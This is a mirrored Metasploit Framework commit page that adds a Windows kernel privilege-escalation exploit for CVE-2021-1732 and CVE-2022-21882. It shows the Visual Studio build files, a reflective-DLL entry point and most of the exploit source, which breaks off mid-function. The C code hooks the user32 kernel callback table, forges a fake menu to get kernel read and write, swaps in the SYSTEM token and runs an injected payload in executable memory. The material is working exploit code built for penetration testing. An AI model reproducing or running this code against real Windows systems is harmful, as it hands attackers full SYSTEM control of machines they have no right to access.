1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

One exploit for CVE-2021-1732 and CVE-2022-21882

This commit is contained in:
Spencer McIntyre 2022-02-08 16:54:53 -05:00
parent 4130c61a14
commit d92259f868
10 changed files with 924 additions and 1 deletions

Binary file not shown.

View File

@ -0,0 +1,2 @@
~AutoRecover*
.vs/*

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.0.32112.339
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2022-21882", "CVE-2022-21882.vcxproj", "{15A43727-B35C-44C5-B9A5-26920658FC4D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x64.ActiveCfg = Debug|x64
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x64.Build.0 = Debug|x64
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x86.ActiveCfg = Debug|Win32
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Debug|x86.Build.0 = Debug|Win32
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x64.ActiveCfg = Release|x64
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x64.Build.0 = Release|x64
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x86.ActiveCfg = Release|Win32
{15A43727-B35C-44C5-B9A5-26920658FC4D}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {0CED6045-2F20-480C-BC68-7471D40E453B}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,243 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<ProjectGuid>{15a43727-b35c-44c5-b9a5-26920658fc4d}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>CVE_2022_21882</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>false</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(Configuration)\$(PlatformShortName)\</OutDir>
<IntDir>$(Configuration)\$(PlatformShortName)\</IntDir>
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
<GenerateManifest>false</GenerateManifest>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<GenerateMapFile>true</GenerateMapFile>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>false</FunctionLevelLinking>
<IntrinsicFunctions>false</IntrinsicFunctions>
<SDLCheck>
</SDLCheck>
<PreprocessorDefinitions>NDEBUG;RDLLTEMPLATE_EXPORTS;_WINDOWS;_USRDLL;UMDF_USING_NTSTATUS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>false</ConformanceMode>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<AdditionalIncludeDirectories>..\ReflectiveDLLInjection\common;..\ReflectiveDLLInjection\dll\src;..\..\ReflectiveDLLInjection\common;..\..\ReflectiveDLLInjection\dll\src;..\..\..\ReflectiveDLLInjection\common;..\..\..\ReflectiveDLLInjection\dll\src;..\..\include\windows;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<TreatWarningAsError>true</TreatWarningAsError>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableUAC>false</EnableUAC>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<GenerateMapFile>false</GenerateMapFile>
<MapFileName>$(OutDir)$(TargetName).map</MapFileName>
<ProgramDatabaseFile>$(OutDir)$(TargetName).pdb</ProgramDatabaseFile>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<ImportLibrary>$(OutDir)$(ProjectName).lib</ImportLibrary>
</Link>
<PostBuildEvent>
<Command>IF EXIST "..\..\..\..\data\exploits\$(ProjectName)\" GOTO COPY
mkdir "..\..\..\..\data\exploits\$(ProjectName)\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\data\exploits\$(ProjectName)\"</Command>
</PostBuildEvent>
<PostBuildEvent>
<Message>
</Message>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="dllmain.c" />
<ClCompile Include="exploit.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="exploit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,38 @@
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
#include <stdio.h>
#include <stdint.h>
#include <windows.h>
DWORD Exploit(PVOID pPayload);
LPVOID main(LPVOID lpReserved) {
Exploit(lpReserved);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE*)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
main(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

View File

@ -0,0 +1,437 @@
#include <windows.h>
#include <time.h>
#include "common.h"
#include "definitions.h"
#include "exploit.h"
#define ConsoleAcquireDisplayOwnership 6
#define BYPASS_BUILD 19042
typedef NTSTATUS(NTAPI* fxxxClientAllocWindowClassExtraBytes)(PSIZE_T pSize);
typedef NTSTATUS(NTAPI* fxxxClientFreeWindowClassExtraBytes)(PVOID pAddress);
typedef DWORD64 QWORD;
fHMValidateHandle HMValidateHandle = NULL;
fNtCallbackReturn NtCallbackReturn = NULL;
fNtUserMessageCall NtUserMessageCall = NULL;
fNtUserConsoleControl NtUserConsoleControl = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;
fxxxClientAllocWindowClassExtraBytes g_xxxClientAllocWindowClassExtraBytes = NULL;
fxxxClientFreeWindowClassExtraBytes g_xxxClientFreeWindowClassExtraBytes = NULL;
/* min, max, magic, ... */
HWND g_hWnd[50] = { 0 };
tagWND* g_pWnd[50] = { 0 };
tagMENU* g_pFakeMenu = 0;
DWORD g_dwBuild = 0;
DWORD g_dwRandom = 0;
ULONG_PTR* g_pUser32CallbackTable = NULL;
QWORD g_extra_to_wnd1_offset = 0;
PVOID g_pMinBaseAddress = 0;
SIZE_T g_uRegionSize = 0;
const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
ULONG_PTR GetPEB(void) {
return (ULONG_PTR)__readgsqword(0x60);
}
ULONG_PTR* GetUser32CallbackTable() {
return *(ULONG_PTR**)((PCHAR)GetPEB() + 0x58);
}
HWND GuessHwnd(PVOID pBaseAddress, SIZE_T uRegionSize) {
tagWND* pWnd;
for (PBYTE pCursor = (PBYTE)pBaseAddress; (ULONG_PTR)pCursor + sizeof(tagWND) < (ULONG_PTR)pBaseAddress + uRegionSize; pCursor += 2) {
pWnd = (tagWND*)pCursor;
if (pWnd->dwStyle != WS_DISABLED)
continue;
if (pWnd->dwExStyle != WS_EX_NOACTIVATE)
continue;
if (pWnd->cbWndExtra != g_dwRandom)
continue;
return (HWND)pWnd->hWnd;
}
return NULL;
}
NTSTATUS Hook_xxxClientAllocWindowClassExtraBytes(PSIZE_T pSize) {
if ((*(PDWORD)pSize & 0xffffffff) == g_dwRandom) {
HWND hwndMagic = g_hWnd[2];
if (hwndMagic == NULL) {
hwndMagic = GuessHwnd(g_pMinBaseAddress, g_uRegionSize);
dprintf("hMagicWnd: 0x%016x (guessed)", hwndMagic);
g_hWnd[2] = hwndMagic;
g_pWnd[2] = HMValidateHandle(hwndMagic, TYPE_WINDOW);
}
if (hwndMagic) {
// this checks if exploitation is going to proceed or not, if not *don't* corrupt the window because that could trigger a BSOD
if ((g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) && (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap)) {
dprintf("Set magicWND->dwExtraFlag |= 0x800");
ULONG64 ConsoleCtrlInfo[2] = { (ULONG64)hwndMagic, 0 };
NTSTATUS ret = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
// Set magicWND->pExtraBytes to fake offset
dprintf("Return faked pExtraBytes: %llx", g_pWnd[0]->OffsetToDesktopHeap);
ULONG64 Result[3] = { g_pWnd[0]->OffsetToDesktopHeap, 0, 0 };
return NtCallbackReturn(&Result, sizeof(Result), 0);
}
}
}
return g_xxxClientAllocWindowClassExtraBytes(pSize);
}
NTSTATUS Hook_xxxClientFreeWindowClassExtraBytes(tagWND **ppWnd) {
tagWND* pWnd = *ppWnd;
// block the free operation on this window for stability
if (pWnd->hWnd == g_hWnd[2]) {
return 1;
}
return g_xxxClientFreeWindowClassExtraBytes(ppWnd);
}
BOOL SwapHooks(ULONG_PTR fAllocHook, ULONG_PTR fFreeHook) {
DWORD dwOldProtect;
ULONG_PTR* ptrAddr = NULL;
VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, PAGE_READWRITE, &dwOldProtect);
ptrAddr = &g_pUser32CallbackTable[0x7b]; /* 0x7b is the index of xxxClientAllocWindowClassExtraBytes */
g_xxxClientAllocWindowClassExtraBytes = *(fxxxClientAllocWindowClassExtraBytes*)ptrAddr;
*(ULONG_PTR*)ptrAddr = fAllocHook;
ptrAddr = &g_pUser32CallbackTable[0x7c]; /* 0x7c is the index of xxxClientFreeWindowClassExtraBytes */
g_xxxClientFreeWindowClassExtraBytes = *(fxxxClientFreeWindowClassExtraBytes*)ptrAddr;
*(ULONG_PTR*)ptrAddr = fFreeHook;
VirtualProtect(&g_pUser32CallbackTable[0x7b], sizeof(PVOID) * 2, dwOldProtect, &dwOldProtect);
return TRUE;
}
#define InstallHooks() SwapHooks((ULONG_PTR)Hook_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)Hook_xxxClientFreeWindowClassExtraBytes)
#define UninstallHooks() SwapHooks((ULONG_PTR)g_xxxClientAllocWindowClassExtraBytes, (ULONG_PTR)g_xxxClientFreeWindowClassExtraBytes);
QWORD KernelRead(ULONG_PTR DestAddr) {
const ULONG_PTR KernelAddressMask = 0xffff800000000000;
if ((DestAddr & KernelAddressMask) != KernelAddressMask) {
dprintf("Invalid address: %llx", DestAddr);
// if the address doesn't look like a kernel mode address then don't read from it
return 0;
}
MENUBARINFO mbi;
memset(&mbi, 0, sizeof(MENUBARINFO));
mbi.cbSize = sizeof(MENUBARINFO);
RECT Rect = { 0 };
GetWindowRect(g_hWnd[1], &Rect);
*(PULONG64)g_pFakeMenu->rgItems = DestAddr - 0x40;
GetMenuBarInfo(g_hWnd[1], OBJID_MENU, 1, &mbi);
DWORD val[2] = { 0 };
val[0] = mbi.rcBar.left - Rect.left;
val[1] = mbi.rcBar.top - Rect.top;
return *(QWORD*)val;
}
ULONG_PTR KernelWrite(ULONG_PTR DestAddr, ULONG_PTR Data) {
ULONG_PTR uOriginal = SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), DestAddr);
ULONG_PTR uValue = (ULONG_PTR)SetWindowLongPtrA(g_hWnd[1], 0, Data);
SetWindowLongPtrA(g_hWnd[0], (int)(g_extra_to_wnd1_offset + offsetof(tagWND, pExtraBytes)), uOriginal);
return uValue;
}
BOOL ResolveRequirements(void) {
HMODULE hNtdll = LoadLibrary("ntdll");
HMODULE hUser32 = LoadLibrary("user32");
HMODULE hWin32u = LoadLibrary("win32u");
PBYTE pIsMenu = NULL;
DWORD dwCursor = 0;
if ((!hNtdll) || (!hUser32) || (!hWin32u)) {
return FALSE;
}
/* find all of the functions we need */
if (!(NtCallbackReturn = (fNtCallbackReturn)GetProcAddress(hNtdll, "NtCallbackReturn"))) {
return FALSE;
}
if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
return FALSE;
}
if (!(NtUserConsoleControl = (fNtUserConsoleControl)GetProcAddress(hWin32u, "NtUserConsoleControl"))) {
return FALSE;
}
if (!(NtUserMessageCall = (fNtUserMessageCall)GetProcAddress(hWin32u, "NtUserMessageCall"))) {
return FALSE;
}
if (!(pIsMenu = (PBYTE)GetProcAddress(hUser32, "IsMenu"))) {
return FALSE;
}
while (*(pIsMenu + dwCursor) != 0xe8) {
if (dwCursor++ > 0x20) {
return FALSE;
}
}
HMValidateHandle = (fHMValidateHandle)(pIsMenu + dwCursor + *(PINT)(pIsMenu + dwCursor + 1) + 5);
/* find the kernel callback table in user32 */
if (!(g_pUser32CallbackTable = GetUser32CallbackTable())) {
return FALSE;
}
/* get the version to determine the necessary eprocess offsets */
DWORD dwMajor, dwMinor, dwBuild;
RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);
g_dwBuild = dwBuild = LOWORD(dwBuild);
dprintf("Windows Version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
if (!((dwMajor == 10) && (dwMinor == 0))) {
return FALSE;
}
if (dwBuild < 17134) {
return FALSE;
}
/* v1803 - v1809 */
else if (dwBuild < 18362) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
}
/* v1903 - v1909 */
else if (dwBuild < 19041) {
g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
}
else if (dwBuild == 19041) {
g_pEprocessOffsets = &EprocessOffsetsWin10v20H1;
}
else if (dwBuild == 19042) {
g_pEprocessOffsets = &EprocessOffsetsWin10v20H2;
}
else if (dwBuild == 19043) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H1;
}
else if (dwBuild == 19044) {
g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
}
else {
return FALSE;
}
return TRUE;
}
void UpgradeToken(QWORD qwEprocess) {
QWORD qwEprocessBak = qwEprocess;
DWORD dwPidSelf = GetCurrentProcessId();
QWORD dwSystemToken = 0;
QWORD dwMyToken = 0;
QWORD qwMyTokenAddr = 0;
while (!dwSystemToken || !qwMyTokenAddr) {
DWORD dwPidRead = KernelRead(qwEprocess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
if (dwPidRead == 4)
dwSystemToken = KernelRead(qwEprocess + g_pEprocessOffsets->Token);
if (dwPidRead == dwPidSelf)
qwMyTokenAddr = qwEprocess + g_pEprocessOffsets->Token;
qwEprocess = KernelRead(qwEprocess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
if (qwEprocessBak == qwEprocess)
break;
}
KernelWrite(qwMyTokenAddr, dwSystemToken);
}
void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
if (!pMsfPayload)
return;
PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pPayload)
return;
CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
CreateThread(NULL, 0, pPayload, NULL, 0, NULL);
}
DWORD Exploit(PVOID pPayload) {
dprintf("Starting exploit...");
if (!ResolveRequirements()) {
dprintf("Failed to resolve requirements");
return 0;
}
srand(time(0) & 0xffffffff);
g_dwRandom = (rand() % 255 + 0x1234) | 1;
dprintf("dwRandom: 0x%08x", g_dwRandom);
WNDCLASSEX wndClass;
memset(&wndClass, 0, sizeof(WNDCLASSEX));
wndClass.cbSize = sizeof(WNDCLASSEX);
wndClass.lpfnWndProc = DefWindowProc;
wndClass.style = CS_VREDRAW | CS_HREDRAW;
wndClass.cbWndExtra = 0x20;
wndClass.hInstance = NULL;
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = "NormalClass";
RegisterClassEx(&wndClass);
wndClass.cbWndExtra = g_dwRandom;
wndClass.lpszClassName = "MagicClass";
RegisterClassEx(&wndClass);
QWORD extra_to_wnd1_offset = 0;
QWORD extra_to_wnd2_offset = 0;
ULONG64 ConsoleCtrlInfo[2];
// Create a fake spmenu
g_pFakeMenu = (tagMENU*)LocalAlloc(LMEM_ZEROINIT, 0x2c8);
if (!g_pFakeMenu)
return 0;
g_pFakeMenu->ref = (PVOID)((ULONG_PTR)g_pFakeMenu + 0xa0);
*g_pFakeMenu->ref = g_pFakeMenu;
// cItems = 1
g_pFakeMenu->obj28 = (ULONG_PTR)g_pFakeMenu + 0xc0;
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2c) = 1;
// rgItems
g_pFakeMenu->rgItems = (ULONG_PTR)g_pFakeMenu + 0x2c0;
// cx / cy must > 0
g_pFakeMenu->cxMenu = 1;
g_pFakeMenu->cyMenu = 1;
if (g_dwBuild < BYPASS_BUILD) {
InstallHooks();
}
for (int j = 0; j < 5; ++j) {
g_pMinBaseAddress = NULL;
for (int i = 0; i < 50; ++i) {
g_hWnd[i] = CreateWindowEx(WS_EX_NOACTIVATE, "NormalClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
g_pWnd[i] = (tagWND*)HMValidateHandle(g_hWnd[i], TYPE_WINDOW);
MEMORY_BASIC_INFORMATION MemInfo;
memset(&MemInfo, 0, sizeof(MemInfo));
VirtualQuery((LPVOID)g_pWnd[i], &MemInfo, sizeof(MemInfo));
if ((g_pMinBaseAddress == NULL) || ((ULONG_PTR)g_pMinBaseAddress >= (ULONG_PTR)MemInfo.BaseAddress)) {
g_pMinBaseAddress = MemInfo.BaseAddress;
g_uRegionSize = MemInfo.RegionSize;
}
}
for (int i = 2; i < 50; ++i) {
DestroyWindow(g_hWnd[i]);
g_hWnd[i] = NULL;
}
// Set first window to use kernel desktop heap for extra bytes
ConsoleCtrlInfo[0] = (ULONG64)g_hWnd[0];
ConsoleCtrlInfo[1] = 0;
NTSTATUS status = NtUserConsoleControl(ConsoleAcquireDisplayOwnership, &ConsoleCtrlInfo, sizeof(ConsoleCtrlInfo));
g_hWnd[2] = CreateWindowEx(WS_EX_NOACTIVATE, "MagicClass", NULL, WS_DISABLED, 0, 0, 0, 0, 0, CreateMenu(), NULL, NULL);
g_pWnd[2] = (tagWND*)HMValidateHandle(g_hWnd[2], TYPE_WINDOW);
